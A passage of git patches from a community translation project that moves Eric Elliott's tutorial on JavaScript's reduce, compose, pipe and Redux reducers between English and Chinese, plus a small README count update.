+In the case of this summing reducer, the first time the reducer is called, `acc` starts at `0` (the value we passed to `.reduce()` as the second parameter). The reducer returns `0` + `2` (`2` was the first element in the array), which is `2`. For the next call, `acc = 2, n = 4` and the reducer returns the result of `2 + 4` (`6`). In the last iteration, `acc = 6, n = 6`, and the reducer returns `12`. Since the iteration is finished, `.reduce()` returns the final accumulated value, `12`.
 
-在这一例子中，我们传入了一个匿名函数作为 reducer，但是我们也可以抽象出每次求和的过程为一个具名函数，这使得我们代码的复用成都更高：
+In this case, we passed in an anonymous reducing function, but we can abstract it and give it a name:
 
 ```
 const summingReducer = (acc, n) => acc + n;
 [2, 4, 6].reduce(summingReducer, 0); // 12
 ```
 
-通常，`reduce` 的工作过程为由左向右。在 JavaScript 中，我们也有一个 `[].reduceRight()` （译注：[MDN -- Array.prototype.reduceRight()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight)）方法来让 reduce 由右向左地工作。 具体说来，如果你对数组 `[2, 4, 6]` 应用 `.reduceRight()` ，第一个被迭代到的元素就将是 `6`，最后一个迭代到的元素就是 `2`。
+Normally, `reduce()` works left to right. In JavaScript, we also have `[].reduceRight()`, which works right to left. In other words, if you applied `.reduceRight()` to `[2, 4, 6]`, the first iteration would use `6` as the first value for `n`, and it would work its way back and finish with `2`.
 
-### 无所不能的 reduce ###
+### Reduce is Versatile ###
 
-别吃惊，reduce 确实无所不能，你所熟悉的 `map()`，`filter()`，`forEach()` 以及其他函数都可借助于 reduce 来创建。
+Reduce is versatile. It’s easy to define `map()`, `filter()`, `forEach()` and lots of other interesting things using reduce:
 
 **Map:**
 
@@ -55,7 +55,7 @@ const map = (fn, arr) => arr.reduce((acc, item, index, arr) => {
 }, []);
 ```
 
-对于 map 来说，我们的累积值就是一个新的数组对象，该数组对象中的每个元素都由原数组对应元素映射得到。累积数组中新的元素由传入 map 的映射函数（`fn`）所确定：对于当前迭代到的元素 `item`，我们通过 `fn` 计算出新的元素，并将其拼接入累加数组 `arr` 中。
+For map, our accumulated value is a new array with a new element for each value in the original array. The new values are generated by applying the passed in mapping function (`fn`) to each element in the `arr` argument. We accumulate the new array by calling `fn` with the current element, and concatenating the result to the accumulator array, `acc`.
 
 **Filter:**
 
@@ -65,37 +65,37 @@ const filter = (fn, arr) => arr.reduce((newArr, item) => {
 }, []);
 ```
 
-filter 的工作方式与 map 类似，只不过原数组的元素只有通过一个真值检测函数（predicate function）才能被送入新的累积数组中。亦即，相较于 map，filter 是**有条件**地选择元素到累积数组中，并且不会改变元素的值。
+Filter works in much the same way as map, except that we take a predicate function and *conditionally* append the current value to the new array if the element passes the predicate check (`fn(item)` returns `true`).
 
-上面几个例子，你处理的数据都是一些数值序列，你在数值序列上应用指定的函数迭代数据，并将结果合拢到累积值中。大多数应用都因此开始雏形初备，但是你想过这个问题没有：**假如你的序列是函数序列呢？**
+For each of the above examples, you have a list of data, iterate over that data applying some function and folding the results into an accumulated value. Lots of applications spring to mind. But what if *your data is a list of functions?*
 
 **Compose:**
 
-reduce 也是实现函数组合的便捷渠道。假如你想用将函数 `g` 的输出作为函数 `f` 的输入，即组合这两个函数： `f . g`，那么你可以使用下面的 JavaScript 代码片，它没有任何的抽象：
+Reduce is also a convenient way to compose functions. Remember function composition: If you want to apply the function `f` to the result of `g` of `x` i.e., the composition, `f . g`, you could use the following JavaScript:
 
 ```
 f(g(x))
 ```
 
-reduce 让我们能抽象出函数组合过程，从而让你也能轻易地实现更多层次的函数组合：
+Reduce lets us abstract that process to work on any number of functions, so you could easily define a function that would represent:
 
 ```
 f(g(h(x)))
 ```
 
-由于函数组合是由右向左的，我们就要使用上面提到的 `.reduceRight()` 方法来抽象函数组合过程：
+To make that happen, we’ll need to run reduce in reverse. That is, right-to-left, rather than left-to-right. Thankfully, JavaScript provides a `.reduceRight()` method:
 
 ```
 const compose = (...fns) => x => fns.reduceRight((v, f) => f(v), x);
 ```
 
-> 注意：如果 JavaScript 的版本没有提供 `[].reduceRight()`，你可以借助于 `reduce` 实现该方法。该实现留给读者自己思考。
+> Note: If JavaScript had not provided `[].reduceRight()`, you could still implement `reduceRight()` -- using `reduce()`. I'll leave it to adventurous readers to figure out how.
 
 **Pipe:**
 
-`compose()` 很好地描述了由内至外的组合过程，某种程度上，这是数学上的关于输入输出的组合。如果你想从事件发生顺序上来思考函数组合呢？
+`compose()` is great if you want to represent the composition from the inside-out -- that is, in the math notation sense. But what if you want to think of it as a sequence of events?
 
-假设我们想要对一个数值加 `1`，然后对新得到的数值进行翻倍。如果是利用 `compose()`，就需要这么做：
+Imagine we want to add `1` to a number and then double it. With `compose(), that would be:
 
 ```
 const add1 = n => n + 1;
@@ -110,15 +110,15 @@ add1ThenDouble(2); // 6
 // ((2 + 1 = 3) * 2 = 6)
 ```
 
-发现问题没有？第一步（加1操作）是 compose 序列上的最后一个元素，所以，`compose` 需要你自底向上地分析流程的执行。
+See the problem? The first step is listed last, so in order to understand the sequence, you’ll need to start at the bottom of the list and work your way backwards to the top.
 
-如果我们以由左向右的方式进行 reduce 来创建函数组合，以示区别，我们用 `pipe` 来描述新的组合方式：
+Or we can reduce left-to-right as you normally would, instead of right-to-left:
 
 ```
 const pipe = (...fns) => x => fns.reduce((v, f) => f(v), x);
 ```
 
-现在，新的流程就可以这么撰写：
+Now you can write `add1ThenDouble()` like this:
 
 ```
 const add1ThenDouble = pipe(
@@ -130,7 +130,7 @@ add1ThenDouble(2); // 6
 // ((2 + 1 = 3) * 2 = 6)
 ```
 
-你也看到了，在组合中，顺序是非常重要的，如果你调换了 `double` 和 `add1` 的顺序，你将得到截然不同的结果：
+This is important because sometimes if you compose backwards, you get a different result:
 
 ```
 const doubleThenAdd1 = pipe(
@@ -141,25 +141,25 @@ const doubleThenAdd1 = pipe(
 doubleThenAdd1(2); // 5
 ```
 
-之后，我们还会讨论跟多的关于 `compose()` 和 `pipe()` 的细节。现在，你所要知道的只是，`reduce()` 是一个极为强大的工具，因此一定要掌握它。 如果在学习过程中遇到了挫折，也大可不必灰心，很多开发者都花了大量时间在 reduce 的学习上。
+We’ll go into more details on `compose()` and `pipe()` later. What you should understand right now is that `reduce()` is a very powerful tool, and you really need to learn it. Just be aware that if you get very tricky with reduce, some people may have a hard time following along.
 
-### Redux 中的 reduce ###
+### A Word on Redux ###
 
-你可能听说过 “reducer” 这个术语被用在了 [Redux](https://github.com/reactjs/redux) 的状态更新中。这篇文章撰写之时，对于使用了 React 或者 Angular 进行构建的 web 应用来说，Redux 是最流行的状态管理库/架构（Angualar 中的类 Redux 管理是 ngrx/store ）。
+You may have heard the term “reducer” used to describe the important state update bits of Redux. As of this writing, Redux is the most popular state management library/architecture for web applications built using React and Angular (the latter via `ngrx/store`).
 
-Redux 使用了 reducer 函数来管理应用状态。一个 Redux 风格的 reducer 接收一个当前应用状态 `state` 和 和交互对象 `action` 作为参数（译注：当前状态就相当于累积值，而 action 就相当于目前处理的元素），处理完成后，返回一个新的应用状态：
+Redux uses reducer functions to manage application state. A Redux-style reducer takes the current state and an action object and returns the new state:
 
 ```
 reducer(state: Any, action: { type: String, payload: Any}) => newState: Any
 ```
 
-Redux 的一些 reducer 规则需要你牢记在心：
+Redux has some reducer rules you need to keep in mind:
 
-1. 一个 reducer 如果进行了无参调用，它要返回它的初始状态。
-2. 如果 reducer 操纵的 action 没有声明类型，他要返回当前状态。
-3. 最最重要的是，Redux reducer 必须是纯函数。
+1. A reducer called with no parameters should return its valid initial state.
+2. If the reducer isn’t going to handle the action type, it still needs to return the state.
+3. Redux reducers **must be pure functions.**
 
-现在，我们以 Redux 风格重写上面的求和 reducer，该 reducer 的行为将由 action 类型决定：
+Let’s rewrite our summing reducer as a Redux-style reducer that reduces over action objects:
 
 ```
 const ADD_VALUE = 'ADD_VALUE';
@@ -175,9 +175,7 @@ const summingReducer = (state = 0, action = {}) => {
 };
 ```
 
-关于 Redux 的一个非常美妙的事儿就是，其 reducer 都是标准的 reducer （译注：即接收 `accumulator` 和 `current` 两个参数的 reducer ），这意味着你将 Redux 中的 reducer 插入到任何现有的 `reduce()` 实现中去，比如最常用的 `[].reduce()`。以此为例，我们可以创建一个 action 对象的数组，并对其进行 reduce 操作，传入 `reduce()` 的将是我们定义好的 `summingReducer`，据此，我们获得一个状态快照。之后，一旦对 Redux 中的状态树（store）分派了同样的 action 序列，那么一定能俘获到相同的状态快照：
-
-The cool thing about Redux is that the reducers are just standard reducers that you can plug into any `reduce()` implementation which respects the reducer function signature, including `[].reduce()`.
+The cool thing about Redux is that the reducers are just standard reducers that you can plug into any `reduce()` implementation which respects the reducer function signature, including `[].reduce()`. That means you can create an array of action objects and reduce over them to get a snapshot of state representing the same state you'd have if those same actions were dispatched to your store:
 
 ```
 const actions = [
@@ -189,26 +187,26 @@ const actions = [
 actions.reduce(summingReducer, 0); // 3
 ```
 
-这使得对 Redux 风格的 reducer 的单元测试变得极为容易。
-
-### 总结 ###
+That makes unit testing Redux-style reducers a breeze.
 
-现在，你应该可以瞥见 recude 的强大甚至是无所不能了。它不只能帮助我们定义出 map 或者 filter，还是函数式编程中重要的工具，这个工具强大在它是一个基础工具，能够通过它构建出更多更强大的工具。
+### Conclusion ###
 
-[**下一篇: Functors（函子） & Categories（范畴） >**](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
+You should be starting to see that reduce is an incredibly useful and versatile abstraction. It’s definitely a little trickier to understand than map or filter, but it is an essential tool in your functional programming utility belt — one you can use to make a lot of other great tools.
 
+[**Next: Functors & Categories >**](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
 
-### 接下来 ###
+### Next Steps ###
 
-想学习更多 JavaScript 函数式编程吗？
+Want to learn more about functional programming in JavaScript?
 
-[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！
+[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
 
-[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">](https://ericelliottjs.com/product/lifetime-access-pass/)
+[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
+](https://ericelliottjs.com/product/lifetime-access-pass/)
 
-**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。
+***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com)  (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/) . He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica**, and many more.
 
-大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。
+*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
 
 ---
 

From ce75287cbd1757f21d6ef2a84961df549a35d6b6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Thu, 13 Apr 2017 14:32:12 +0800
Subject: [PATCH 154/638] reduce

---
 TODO/reduce-composing-software.md | 98 ++++++++++++++++---------------
 1 file changed, 50 insertions(+), 48 deletions(-)

diff --git a/TODO/reduce-composing-software.md b/TODO/reduce-composing-software.md
index 8baf2c381ad..2c42b1116aa 100644
--- a/TODO/reduce-composing-software.md
+++ b/TODO/reduce-composing-software.md
@@ -1,21 +1,21 @@
 > * 原文地址：[Reduce (Composing Software)(part 5)](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi) [reid3290](https://github.com/reid3290)
 > * 校对者：
 
-# Reduce (Composing Software) #
+# Reduce (软件编写) (第五部分) #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
+Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
 
-> Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
-> [< Previous](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.su6cmn4f7)  | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [Next >](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22) 
+> 注意：这是 “软件编写” 系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
+> [<上一篇](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
 
-**Reduce** (aka: fold, accumulate) utility commonly used in functional programming that lets you iterate over a list, applying a function to an accumulated value and the next item in the list, until the iteration is complete and the accumulated value gets returned. Many useful things can be implemented with reduce. Frequently, it’s the most elegant way to do any non-trivial processing on a collection of items.
+在函数式编程中，**reduce**（也称为：fold，ccumulate）允许你在一个序列上迭代，并应用一个函数来处理预先声明的累积值和当前迭代到的元素。当迭代完成时，将返回这个累积值。许多其他有用的事物都可以通过 reduce 实现。多数时候，reduce 可以说是处理集合中元素最优雅的方式。
 
-Reduce takes a reducer function and an initial value, and returns the accumulated value. For `Array.prototype.reduce()`, the initial list is provided by `this`, so it's not one of the arguments:
+reduce 接受一个 reducer 函数以及一个初始值，最终返回一个累积值。对于 `Array.prototype.reduce()` 来说， 初始列表将由 `this` 指明， 所以列表本身不会作为该函数的参数：
 
 ```
 array.reduce(
@@ -24,28 +24,28 @@ array.reduce(
 ) => accumulator: Any
 ```
 
-Let’s sum an array:
+我们利用如下方式对一个数组进行求和:
 
 ```
 [2, 4, 6].reduce((acc, n) => acc + n, 0); // 12
 ```
 
-For each element in the array, the reducer is called and passed the accumulator and the current value. The reducer’s job is to “fold” the current value into the accumulated value somehow. How is not specified, and specifying how is the purpose of the reducer function. The reducer returns the new accumulated value, and `reduce()` moves on to the next value in the array. The reducer may need an initial value to start with, so most implementations take an initial value as a parameter.
+对于数组的每步迭代，reducer 函数都会被调用，并且向其传入了累积值和当前迭代到的数组元素。reducer 的职责在于以某种方式将当前迭代的元素 “合拢（fold）” 到累加值中。reducer 规定了 “合拢” 的手段和方式，完成了对当前元素的 “合拢” 后，reducer 将返回新的累加值，然后， `.reduce()` 将开始处理数组中的下一个元素。reducer 需要一个初始值才能开始工作，所以绝大多数的 `.reduce()` 实现都需要接收一个初始值作为参数。
 
-In the case of this summing reducer, the first time the reducer is called, `acc` starts at `0` (the value we passed to `.reduce()` as the second parameter). The reducer returns `0` + `2` (`2` was the first element in the array), which is `2`. For the next call, `acc = 2, n = 4` and the reducer returns the result of `2 + 4` (`6`). In the last iteration, `acc = 6, n = 6`, and the reducer returns `12`. Since the iteration is finished, `.reduce()` returns the final accumulated value, `12`.
+在求数组元素和一例中，reducer 函数第一次调用时，`acc` 将会以 `0` 值（该值是传入 `.reduce()` 方法的第二个参数）开始。然后，reducer 返回了 `0` + `2`（`2` 是数组的第一个元素）， 也就是返回了 `2` 作为新的累积值。下一步，`acc = 2, n = 4` 传入了 reducer，reducer返回了 `2 + 4`（`6`）。在最后一步迭代中，`acc = 6, n = 6`, reducer 返回了 `12`。迭代完成，`.reduce（）` 返回了最终的累积值 `12`。
 
-In this case, we passed in an anonymous reducing function, but we can abstract it and give it a name:
+在这一例子中，我们传入了一个匿名函数作为 reducer，但是我们也可以抽象出每次求和的过程为一个具名函数，这使得我们代码的复用成都更高：
 
 ```
 const summingReducer = (acc, n) => acc + n;
 [2, 4, 6].reduce(summingReducer, 0); // 12
 ```
 
-Normally, `reduce()` works left to right. In JavaScript, we also have `[].reduceRight()`, which works right to left. In other words, if you applied `.reduceRight()` to `[2, 4, 6]`, the first iteration would use `6` as the first value for `n`, and it would work its way back and finish with `2`.
+通常，`reduce` 的工作过程为由左向右。在 JavaScript 中，我们也有一个 `[].reduceRight()` （译注：[MDN -- Array.prototype.reduceRight()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight)）方法来让 reduce 由右向左地工作。 具体说来，如果你对数组 `[2, 4, 6]` 应用 `.reduceRight()` ，第一个被迭代到的元素就将是 `6`，最后一个迭代到的元素就是 `2`。
 
-### Reduce is Versatile ###
+### 无所不能的 reduce ###
 
-Reduce is versatile. It’s easy to define `map()`, `filter()`, `forEach()` and lots of other interesting things using reduce:
+别吃惊，reduce 确实无所不能，你所熟悉的 `map()`，`filter()`，`forEach()` 以及其他函数都可借助于 reduce 来创建。
 
 **Map:**
 
@@ -55,7 +55,7 @@ const map = (fn, arr) => arr.reduce((acc, item, index, arr) => {
 }, []);
 ```
 
-For map, our accumulated value is a new array with a new element for each value in the original array. The new values are generated by applying the passed in mapping function (`fn`) to each element in the `arr` argument. We accumulate the new array by calling `fn` with the current element, and concatenating the result to the accumulator array, `acc`.
+对于 map 来说，我们的累积值就是一个新的数组对象，该数组对象中的每个元素都由原数组对应元素映射得到。累积数组中新的元素由传入 map 的映射函数（`fn`）所确定：对于当前迭代到的元素 `item`，我们通过 `fn` 计算出新的元素，并将其拼接入累加数组 `arr` 中。
 
 **Filter:**
 
@@ -65,37 +65,37 @@ const filter = (fn, arr) => arr.reduce((newArr, item) => {
 }, []);
 ```
 
-Filter works in much the same way as map, except that we take a predicate function and *conditionally* append the current value to the new array if the element passes the predicate check (`fn(item)` returns `true`).
+filter 的工作方式与 map 类似，只不过原数组的元素只有通过一个真值检测函数（predicate function）才能被送入新的累积数组中。亦即，相较于 map，filter 是**有条件**地选择元素到累积数组中，并且不会改变元素的值。
 
-For each of the above examples, you have a list of data, iterate over that data applying some function and folding the results into an accumulated value. Lots of applications spring to mind. But what if *your data is a list of functions?*
+上面几个例子，你处理的数据都是一些数值序列，你在数值序列上应用指定的函数迭代数据，并将结果合拢到累积值中。大多数应用都因此开始雏形初备，但是你想过这个问题没有：**假如你的序列是函数序列呢？**
 
 **Compose:**
 
-Reduce is also a convenient way to compose functions. Remember function composition: If you want to apply the function `f` to the result of `g` of `x` i.e., the composition, `f . g`, you could use the following JavaScript:
+reduce 也是实现函数组合的便捷渠道。假如你想用将函数 `g` 的输出作为函数 `f` 的输入，即组合这两个函数： `f . g`，那么你可以使用下面的 JavaScript 代码片，它没有任何的抽象：
 
 ```
 f(g(x))
 ```
 
-Reduce lets us abstract that process to work on any number of functions, so you could easily define a function that would represent:
+reduce 让我们能抽象出函数组合过程，从而让你也能轻易地实现更多层次的函数组合：
 
 ```
 f(g(h(x)))
 ```
 
-To make that happen, we’ll need to run reduce in reverse. That is, right-to-left, rather than left-to-right. Thankfully, JavaScript provides a `.reduceRight()` method:
+由于函数组合是由右向左的，我们就要使用上面提到的 `.reduceRight()` 方法来抽象函数组合过程：
 
 ```
 const compose = (...fns) => x => fns.reduceRight((v, f) => f(v), x);
 ```
 
-> Note: If JavaScript had not provided `[].reduceRight()`, you could still implement `reduceRight()` -- using `reduce()`. I'll leave it to adventurous readers to figure out how.
+> 注意：如果 JavaScript 的版本没有提供 `[].reduceRight()`，你可以借助于 `reduce` 实现该方法。该实现留给读者自己思考。
 
 **Pipe:**
 
-`compose()` is great if you want to represent the composition from the inside-out -- that is, in the math notation sense. But what if you want to think of it as a sequence of events?
+`compose()` 很好地描述了由内至外的组合过程，某种程度上，这是数学上的关于输入输出的组合。如果你想从事件发生顺序上来思考函数组合呢？
 
-Imagine we want to add `1` to a number and then double it. With `compose(), that would be:
+假设我们想要对一个数值加 `1`，然后对新得到的数值进行翻倍。如果是利用 `compose()`，就需要这么做：
 
 ```
 const add1 = n => n + 1;
@@ -110,15 +110,15 @@ add1ThenDouble(2); // 6
 // ((2 + 1 = 3) * 2 = 6)
 ```
 
-See the problem? The first step is listed last, so in order to understand the sequence, you’ll need to start at the bottom of the list and work your way backwards to the top.
+发现问题没有？第一步（加1操作）是 compose 序列上的最后一个元素，所以，`compose` 需要你自底向上地分析流程的执行。
 
-Or we can reduce left-to-right as you normally would, instead of right-to-left:
+如果我们以由左向右的方式进行 reduce 来创建函数组合，以示区别，我们用 `pipe` 来描述新的组合方式：
 
 ```
 const pipe = (...fns) => x => fns.reduce((v, f) => f(v), x);
 ```
 
-Now you can write `add1ThenDouble()` like this:
+现在，新的流程就可以这么撰写：
 
 ```
 const add1ThenDouble = pipe(
@@ -130,7 +130,7 @@ add1ThenDouble(2); // 6
 // ((2 + 1 = 3) * 2 = 6)
 ```
 
-This is important because sometimes if you compose backwards, you get a different result:
+你也看到了，在组合中，顺序是非常重要的，如果你调换了 `double` 和 `add1` 的顺序，你将得到截然不同的结果：
 
 ```
 const doubleThenAdd1 = pipe(
@@ -141,25 +141,25 @@ const doubleThenAdd1 = pipe(
 doubleThenAdd1(2); // 5
 ```
 
-We’ll go into more details on `compose()` and `pipe()` later. What you should understand right now is that `reduce()` is a very powerful tool, and you really need to learn it. Just be aware that if you get very tricky with reduce, some people may have a hard time following along.
+之后，我们还会讨论跟多的关于 `compose()` 和 `pipe()` 的细节。现在，你所要知道的只是，`reduce()` 是一个极为强大的工具，因此一定要掌握它。 如果在学习过程中遇到了挫折，也大可不必灰心，很多开发者都花了大量时间在 reduce 的学习上。
 
-### A Word on Redux ###
+### Redux 中的 reduce ###
 
-You may have heard the term “reducer” used to describe the important state update bits of Redux. As of this writing, Redux is the most popular state management library/architecture for web applications built using React and Angular (the latter via `ngrx/store`).
+你可能听说过 “reducer” 这个术语被用在了 [Redux](https://github.com/reactjs/redux) 的状态更新中。这篇文章撰写之时，对于使用了 React 或者 Angular 进行构建的 web 应用来说，Redux 是最流行的状态管理库/架构（Angualar 中的类 Redux 管理是 ngrx/store ）。
 
-Redux uses reducer functions to manage application state. A Redux-style reducer takes the current state and an action object and returns the new state:
+Redux 使用了 reducer 函数来管理应用状态。一个 Redux 风格的 reducer 接收一个当前应用状态 `state` 和 和交互对象 `action` 作为参数（译注：当前状态就相当于累积值，而 action 就相当于目前处理的元素），处理完成后，返回一个新的应用状态：
 
 ```
 reducer(state: Any, action: { type: String, payload: Any}) => newState: Any
 ```
 
-Redux has some reducer rules you need to keep in mind:
+Redux 的一些 reducer 规则需要你牢记在心：
 
-1. A reducer called with no parameters should return its valid initial state.
-2. If the reducer isn’t going to handle the action type, it still needs to return the state.
-3. Redux reducers **must be pure functions.**
+1. 一个 reducer 如果进行了无参调用，它要返回它的初始状态。
+2. 如果 reducer 操纵的 action 没有声明类型，他要返回当前状态。
+3. 最最重要的是，Redux reducer 必须是纯函数。
 
-Let’s rewrite our summing reducer as a Redux-style reducer that reduces over action objects:
+现在，我们以 Redux 风格重写上面的求和 reducer，该 reducer 的行为将由 action 类型决定：
 
 ```
 const ADD_VALUE = 'ADD_VALUE';
@@ -175,7 +175,9 @@ const summingReducer = (state = 0, action = {}) => {
 };
 ```
 
-The cool thing about Redux is that the reducers are just standard reducers that you can plug into any `reduce()` implementation which respects the reducer function signature, including `[].reduce()`. That means you can create an array of action objects and reduce over them to get a snapshot of state representing the same state you'd have if those same actions were dispatched to your store:
+关于 Redux 的一个非常美妙的事儿就是，其 reducer 都是标准的 reducer （译注：即接收 `accumulator` 和 `current` 两个参数的 reducer ），这意味着你将 Redux 中的 reducer 插入到任何现有的 `reduce()` 实现中去，比如最常用的 `[].reduce()`。以此为例，我们可以创建一个 action 对象的数组，并对其进行 reduce 操作，传入 `reduce()` 的将是我们定义好的 `summingReducer`，据此，我们获得一个状态快照。之后，一旦对 Redux 中的状态树（store）分派了同样的 action 序列，那么一定能俘获到相同的状态快照：
+
+The cool thing about Redux is that the reducers are just standard reducers that you can plug into any `reduce()` implementation which respects the reducer function signature, including `[].reduce()`.
 
 ```
 const actions = [
@@ -187,26 +189,26 @@ const actions = [
 actions.reduce(summingReducer, 0); // 3
 ```
 
-That makes unit testing Redux-style reducers a breeze.
+这使得对 Redux 风格的 reducer 的单元测试变得极为容易。
+
+### 总结 ###
 
-### Conclusion ###
+现在，你应该可以瞥见 recude 的强大甚至是无所不能了。它不只能帮助我们定义出 map 或者 filter，还是函数式编程中重要的工具，这个工具强大在它是一个基础工具，能够通过它构建出更多更强大的工具。
 
-You should be starting to see that reduce is an incredibly useful and versatile abstraction. It’s definitely a little trickier to understand than map or filter, but it is an essential tool in your functional programming utility belt — one you can use to make a lot of other great tools.
+[**下一篇: Functors（函子） & Categories（范畴） >**](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
 
-[**Next: Functors & Categories >**](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
 
-### Next Steps ###
+### 接下来 ###
 
-Want to learn more about functional programming in JavaScript?
+想学习更多 JavaScript 函数式编程吗？
 
-[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
+[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！
 
-[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
-](https://ericelliottjs.com/product/lifetime-access-pass/) 
+[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">](https://ericelliottjs.com/product/lifetime-access-pass/)
 
-***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com)  (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/) . He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica**, and many more.
+**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。
 
-*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。
 
 ---
 

From c273b62d7998d0e0fd49332aa5d841010ded0763 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 13 Apr 2017 22:52:38 +0800
Subject: [PATCH 155/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=86=99=E7=BB=99?=
 =?UTF-8?q?=E2=80=9C=E8=80=81=E6=B4=BE=E2=80=9D=20Web=20=E5=BC=80=E5=8F=91?=
 =?UTF-8?q?=E8=80=85=E7=9A=84=E2=80=9C=E7=8E=B0=E4=BB=A3=E2=80=9D=20JavaSc?=
 =?UTF-8?q?ript=20=E6=8C=87=E5=8D=97=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 5 ++---
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.md b/README.md
index 54648b75c5d..255e14d40e7 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [453](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [454](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,11 +37,10 @@
 
 ## 前端
 
